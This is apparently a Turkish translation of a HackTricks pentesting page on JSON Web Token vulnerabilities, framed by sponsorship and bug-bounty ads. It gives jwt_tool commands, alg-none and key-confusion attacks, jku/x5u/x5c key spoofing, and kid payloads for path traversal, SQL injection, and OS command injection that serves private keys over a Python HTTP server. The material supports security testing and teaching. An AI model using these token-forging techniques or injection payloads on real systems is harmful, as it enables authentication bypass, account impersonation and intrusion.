# JWT Zafiyetleri (Json Web Token)
AWS hackleme konusunda sıfırdan kahramana dönüşmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin! HackTricks'i desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**. * **Hacking hilelerinizi paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** katkıda bulunun.
![](<../.gitbook/assets/image (638) (3).png>) **Bug bounty ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan bir premium **bug bounty platformuna**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'e kadar ödüller kazanmaya başlayın! {% embed url="https://go.intigriti.com/hacktricks" %} **Bu yazının bir kısmı, harika bir yazıya dayanmaktadır:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\ **JWT'leri pentest etmek için harika bir araç olan** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool) **adlı aracın yazarı** ### **Hızlı Kazanımlar** [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) aracını `Tüm Testler!` modunda çalıştırın ve yeşil satırları bekleyin ```bash python3 jwt_tool.py -M at \ -t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \ -rh "Authorization: Bearer eyJhbG..." ``` Eğer şanslıysanız, araç web uygulamasının JWT'yi yanlış şekilde kontrol ettiği bir durum bulabilir: ![](<../.gitbook/assets/image (435).png>) Ardından, proxy'de isteği arayabilir veya jwt\_ aracını kullanarak o istek için kullanılan JWT'yi dökümleyebilirsiniz: ```bash python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291" ``` ### Veriyi değiştirmeden veriyi bozma Sadece veriyi bozarak imzayı olduğu gibi bırakabilir ve sunucunun imzayı kontrol edip etmediğini kontrol edebilirsiniz. Örneğin, kullanıcı adını "admin" olarak değiştirmeyi deneyin. #### **Token kontrol ediliyor mu?** Bir JWT'nin imzasının doğrulandığını kontrol etmek için: - Bir hata mesajı, devam eden doğrulamayı gösterir; ayrıntılı hatalardaki hassas bilgiler gözden geçirilmelidir. - Dönen sayfada değişiklik, doğrulamayı gösterir. - Herhangi bir değişiklik olmaması, doğrulamanın olmadığını gösterir; bu durumda veri paylaşımı iddialarını bozmak için deney yapılabilir. ### Köken Token'ın sunucu tarafından mı yoksa istemci tarafından mı oluşturulduğunu belirlemek için proxy'nin istek geçmişi incelenmelidir. - İstemci tarafından ilk kez görülen token'lar, anahtarın istemci tarafı koduna maruz kalabileceğini gösterir ve daha fazla araştırma gerektirir. - Sunucu tarafından kaynaklanan token'lar güvenli bir süreci işaret eder. ### Süre Token'ın 24 saatten daha uzun süre dayanıp dayanmadığını kontrol edin... belki hiç süresi dolmuyordur. "exp" alanı varsa, sunucunun bunu doğru bir şekilde işleyip işlemediğini kontrol edin. ### HMAC gizli anahtarını kaba kuvvetle bulma [**Bu sayfaya bakın.**](../generic-methodologies-and-resources/brute-force.md#jwt) ### Algoritmayı None olarak değiştirme (CVE-2015-9235) Kullanılan algoritmayı "None" olarak ayarlayın ve imza kısmını kaldırın. Bu zafiyeti denemek ve JWT içinde farklı değerleri değiştirmek için Burp uzantısı olan "JSON Web Token" kullanın (istemi Repeater'a gönderin ve "JSON Web Token" sekmesinde token'ın değerlerini değiştirebilirsiniz. "Alg" alanının değerini "None" olarak seçebilirsiniz). ### Algoritmayı RS256(asimetrik) yerine HS256(simetrik) olarak değiştirme (CVE-2016-5431/CVE-2016-10555) HS256 algoritması, her iletiyi imzalamak ve doğrulamak için gizli anahtar kullanır.\ RS256 algoritması, iletiyi imzalamak için özel anahtar kullanır ve doğrulama için genel anahtar kullanır. Algoritmayı RS256'dan HS256'ya değiştirirseniz, arka uç kodu genel anahtarı gizli anahtar olarak kullanır ve ardından HS256 algoritmasını kullanarak imzanın doğruluğunu kontrol eder. Daha sonra, genel anahtarı kullanarak RS256'yı HS256'ya değiştirerek geçerli bir imza oluşturabiliriz. Web sunucusunun sertifikasını almak için şunu çalıştırabilirsiniz: ```bash openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well. openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem ``` ### Başlık içinde yeni bir genel anahtar Bir saldırgan, belirtecin başlığına yeni bir anahtar yerleştirir ve sunucu bu yeni anahtarı imzanın doğrulanması için kullanır (CVE-2018-0114). Bu, "JSON Web Tokens" Burp eklentisiyle yapılabilir.\ (İsteği Repeater'a gönderin, JSON Web Token sekmesinde "CVE-2018-0114" seçeneğini seçin ve isteği gönderin). ### JWKS Sahteciliği Bu talimatlar, özellikle "jku" başlık talebi kullanan JWT belgelerinin güvenliğini değerlendirmek için bir yöntem ayrıntılandırır. Bu talep, belirtecin doğrulanması için gerekli olan genel anahtarı içeren bir JWKS (JSON Web Key Set) dosyasına bağlantı sağlamalıdır. - **"jku" Başlığı ile Belge Değerlendirme**: - "jku" talebinin URL'sini doğru JWKS dosyasına yönlendirdiğinden emin olun. - Belirtecin "jku" değerini, trafiği gözlemlemeye izin veren bir kontrol edilen web hizmetine yönlendirmek için değiştirin. - **HTTP Etkileşimi İçin İzleme**: - Belirtilen URL'ye yapılan HTTP isteklerini gözlemlemek, sunucunun sağladığınız bağlantıdan anahtarları almak için yaptığı girişimleri gösterir. - Bu işlem için `jwt_tool` kullanırken, testi kolaylaştırmak için `jwtconf.ini` dosyasını kişisel JWKS konumunuzla güncellemek önemlidir. - **`jwt_tool` İçin Komut**: - Aşağıdaki komutu kullanarak `jwt_tool` ile senaryoyu simüle edin: ```bash python3 jwt_tool.py JWT_BURAYA_YAZIN -X s ``` ### "kid" Sorunlarının Genel Bakışı Belirli bir anahtarı tanımlamak için kullanılan isteğe bağlı bir başlık talebi olan `kid`, belirtecin imzasının doğrulanması için birden fazla anahtarın bulunduğu ortamlarda özellikle önemlidir. Bu talep, bir belirtecin imzasını doğrulamak için uygun anahtarı seçmede yardımcı olur. #### "kid" ile Anahtarın Ortaya Çıkarılması `kid` talebi başlıkta bulunduğunda, ilgili dosyayı veya varyasyonlarını web dizininde aramak önerilir. Örneğin, `"kid":"key/12345"` belirtilmişse, _/key/12345_ ve _/key/12345.pem_ dosyaları web kökünde aranmalıdır. #### "kid" ile Yol Geçişi `kid` talebi ayrıca dosya sistemi üzerinde gezinmek için kötüye kullanılabilir ve böylece keyfi bir dosyanın seçilmesine izin verebilir. `kid` değerini değiştirerek belirli dosyalara veya hizmetlere hedef almak için bağlantıyı test etmek veya Sunucu Tarafı İstek Sahteciliği (SSRF) saldırıları gerçekleştirmek mümkündür. JWT'yi değiştirmek ve orijinal imzayı korurken `kid` değerini değiştirmek, aşağıdaki gibi jwt_tool'da `-T` bayrağını kullanarak başarılabilmektedir: ```bash python3 jwt_tool.py -I -hc kid -hv "../../dev/null" -S hs256 -p "" ``` Hedeflenen tahmin edilebilir içeriğe sahip dosyaları hedef alarak geçerli bir JWT oluşturmak mümkündür. Örneğin, Linux sistemlerindeki `/proc/sys/kernel/randomize_va_space` dosyası, JWT oluşturma için simetrik şifre olarak **2** kullanılarak `kid` parametresinde kullanılabilir. #### "kid" Aracılığıyla SQL Enjeksiyonu `kid` talebinin içeriği, bir veritabanından bir şifre almak için kullanılıyorsa, `kid` yükünü değiştirerek bir SQL enjeksiyonu kolaylaştırılabilir. JWT imzalama sürecini değiştirmek için SQL enjeksiyonu kullanan bir örnek yük şunları içerir: `non-existent-index' UNION SELECT 'ATTACKER';-- -` Bu değişiklik, JWT imzalamak için bilinen bir gizli anahtar olan `ATTACKER`'ın kullanılmasını zorlar. #### "kid" Aracılığıyla İşletim Sistemi Enjeksiyonu `kid` parametresi, bir komut yürütme bağlamında kullanılan bir dosya yolunu belirttiğinde Uzaktan Kod Yürütme (RCE) güvenlik açıklarına yol açabilir. `kid` parametresine komutlar enjekte ederek özel anahtarları ortaya çıkarmak mümkündür. RCE ve anahtar ortaya çıkarma için bir örnek yük şu şekildedir: `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&` ### x5u ve jku #### jku jku, **JWK Set URL** anlamına gelir.\ Token, "**jku**" **Header** talebini kullanıyorsa, **sağlanan URL'yi kontrol edin**. Bu, belirteci doğrulamak için Genel Anahtarı tutan JWKS dosyasını içeren bir URL'ye işaret etmelidir. Belirteci, jku değerini izleyebileceğiniz bir web hizmetine yönlendirmek için değiştirin. Öncelikle yeni bir sertifika oluşturmanız gerekmektedir, yeni özel ve genel anahtarlarla birlikte. ```bash openssl genrsa -out keypair.pem 2048 openssl rsa -in keypair.pem -pubout -out publickey.crt openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key ``` Ardından, yeni JWT'yi oluşturmak için [**jwt.io**](https://jwt.io) gibi bir araç kullanabilirsiniz. Bu araçla, oluşturulan genel ve özel anahtarları kullanarak ve jku parametresini oluşturulan sertifikaya işaretleyerek yeni JWT oluşturabilirsiniz. Geçerli bir jku sertifikası oluşturmak için orijinalini indirebilir ve gereken parametreleri değiştirebilirsiniz. "E" ve "n" parametrelerini bir genel sertifikadan aşağıdaki komutları kullanarak elde edebilirsiniz: ```bash from Crypto.PublicKey import RSA fp = open("publickey.crt", "r") key = RSA.importKey(fp.read()) fp.close() print("n:", hex(key.n)) print("e:", hex(key.e)) ``` #### x5u X.509 URL. PEM biçiminde kodlanmış bir dizi X.509 (bir sertifika formatı standardı) genel sertifikalarına işaret eden bir URI. Setteki ilk sertifika bu JWT'yi imzalamak için kullanılan sertifikadır. Ardışık sertifikalar önceki sertifikayı imzalar, böylece sertifika zinciri tamamlanır. X.509, RFC 52807'de tanımlanmıştır. Sertifikaların aktarılması için taşıma güvenliği gereklidir. Bu başlığı **kontrolünüz altındaki bir URL'ye değiştirmeyi deneyin** ve herhangi bir isteğin alınıp alınmadığını kontrol edin. Bu durumda JWT'yi **bozabilirsiniz**. Kendi kontrolünüzdeki bir sertifika kullanarak yeni bir belirteç oluşturmak için sertifikayı oluşturmanız ve genel ve özel anahtarları çıkarmanız gerekmektedir: ```bash openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem ``` Ardından, yeni JWT'yi oluşturmak için örneğin [**jwt.io**](https://jwt.io) kullanabilirsiniz. Bu işlem için oluşturulan genel ve özel anahtarları kullanmalı ve x5u parametresini oluşturulan .crt sertifikasına işaret etmelisiniz. ![](<../.gitbook/assets/image (439).png>) Ayrıca, bu zafiyetleri **SSRF saldırıları için** kullanabilirsiniz. #### x5c Bu parametre, **base64 formatında sertifikayı** içerebilir: ![](<../.gitbook/assets/image (440).png>) Saldırgan, kendine imzalı bir sertifika oluşturur ve ilgili özel anahtarı kullanarak sahte bir belirteç oluşturur. Ardından "x5c" parametresinin değerini yeni oluşturulan sertifikayla değiştirir ve diğer parametreleri, yani n, e ve x5t'yi değiştirirse, sahte belirteç sunucu tarafından kabul edilecektir. ```bash openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt openssl x509 -in attacker.crt -text ``` ### Gömülü Genel Anahtar (CVE-2018-0114) Eğer JWT aşağıdaki senaryoda olduğu gibi gömülü bir genel anahtara sahipse: ![](<../.gitbook/assets/image (438).png>) Aşağıdaki nodejs betiği kullanılarak bu veriden bir genel anahtar oluşturulabilir: ```bash const NodeRSA = require('node-rsa'); const fs = require('fs'); n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​; e = "AQAB"; const key = new NodeRSA(); var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public'); console.log(importedKey.exportKey("public")); ``` Yeni bir özel/genel anahtar oluşturmak, yeni genel anahtarı belirteci içine yerleştirmek ve yeni bir imza oluşturmak için kullanmak mümkündür: ```bash openssl genrsa -out keypair.pem 2048 openssl rsa -in keypair.pem -pubout -out publickey.crt openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key ``` Aşağıdaki Node.js betiği kullanarak "n" ve "e" değerlerini elde edebilirsiniz: ```bash const NodeRSA = require('node-rsa'); const fs = require('fs'); keyPair = fs.readFileSync("keypair.pem"); const key = new NodeRSA(keyPair); const publicComponents = key.exportKey('components-public'); console.log('Parameter n: ', publicComponents.n.toString("hex")); console.log('Parameter e: ', publicComponents.e.toString(16)); ``` Son olarak, genel ve özel anahtarları ve yeni "n" ve "e" değerlerini kullanarak [jwt.io](https://jwt.io) kullanarak herhangi bir bilgiyle geçerli bir JWT oluşturabilirsiniz. ### JTI (JWT Kimliği) JTI (JWT Kimliği) talebi, bir JWT Jetonu için benzersiz bir tanımlayıcı sağlar. Jetonun tekrar oynatılmasını önlemek için kullanılabilir.\ Ancak, ID'nin maksimum uzunluğunun 4 (0001-9999) olduğu bir durumu hayal edin. İstek 0001 ve 10001 aynı kimliği kullanacak. Bu durumda, arka uç her istekte ID'yi artırıyorsa, bu durumu kötüye kullanarak bir isteği **tekrar oynatabilirsiniz** (her başarılı tekrar oynatma arasında 10000 istek göndermek gerekiyor). ### JWT Kayıtlı talepleri {% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %} ### Diğer saldırılar **Çapraz hizmet Röle Saldırıları** Bazı web uygulamalarının jetonlarının oluşturulması ve yönetimi için güvenilir bir JWT hizmetine güvendiği gözlemlenmiştir. Aynı JWT hizmetinin başka bir istemcisi tarafından kabul edilen bir istemci için oluşturulan bir jeton kaydedilmiştir. Üçüncü taraf bir hizmet aracılığıyla bir JWT'nin verilmesi veya yenilenmesi gözlemlenirse, aynı kullanıcı adı/e-posta ile başka bir istemcinin hesabına kaydolma olasılığı araştırılmalıdır. Ardından, elde edilen jetonun hedefe bir istekte tekrar oynatılıp oynatılmadığını görmek için bir deneme yapılmalıdır. - Jetonunuzun kabul edilmesi, herhangi bir kullanıcının hesabının sahteciliğine izin verebilecek kritik bir sorunu gösterebilir. Bununla birlikte, üçüncü taraf bir uygulamada kaydolmak için daha geniş bir test izni gerekebileceği unutulmamalıdır, çünkü bu durum yasal bir belirsizlik alanına girebilir. **Jetonların Süresi Kontrolü** Jetonun süresi, "exp" Yük talebi kullanılarak kontrol edilir. JWT'ler genellikle oturum bilgisi olmadan kullanıldığından dikkatli bir şekilde ele alınması gerekmektedir. Bir başka kullanıcının JWT'sini yakalayıp tekrar oynatmak, birçok durumda o kullanıcının taklit edilmesine olanak sağlayabilir. JWT RFC'si, JWT tekrar oynatma saldırılarını azaltmak için "exp" talebini kullanarak jeton için bir süre belirlemeyi önermektedir. Ayrıca, uygulamanın bu değeri işlemek ve süresi dolmuş jetonları reddetmek için ilgili kontrolleri uygulaması önemlidir. Jetonun "exp" talebi içerdiği ve test süre sınırları izin veriyorsa, jetonun süresi dolduktan sonra kaydedilip tekrar oynatılması önerilir. Jetonun içeriği, zaman damgası ayrıştırma ve süresi kontrol etme (zaman damgası UTC'de) jwt_tool'un -R bayrağı kullanılarak okunabilir. - Uygulama hala jetonu doğruluyorsa, bir güvenlik riski olabilir, çünkü bu, jetonun asla süresinin dolmayacağı anlamına gelebilir. ### Araçlar {% embed url="https://github.com/ticarpi/jwt_tool" %} \ **Bug bounty ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından hackerlar için oluşturulmuş bir premium **bug bounty platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinde bize katılın ve **100.000 $'a kadar ödüller** kazanmaya başlayın! {% embed url="https://go.intigriti.com/hacktricks" %}
htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin! HackTricks'yi desteklemenin diğer yolları: * Şirketinizi HackTricks'te **reklam vermek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * Özel [**NFT'lerden oluşan PEASS Ailesi**](https://opensea.io/collection/the-peass-family)ni keşfedin * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.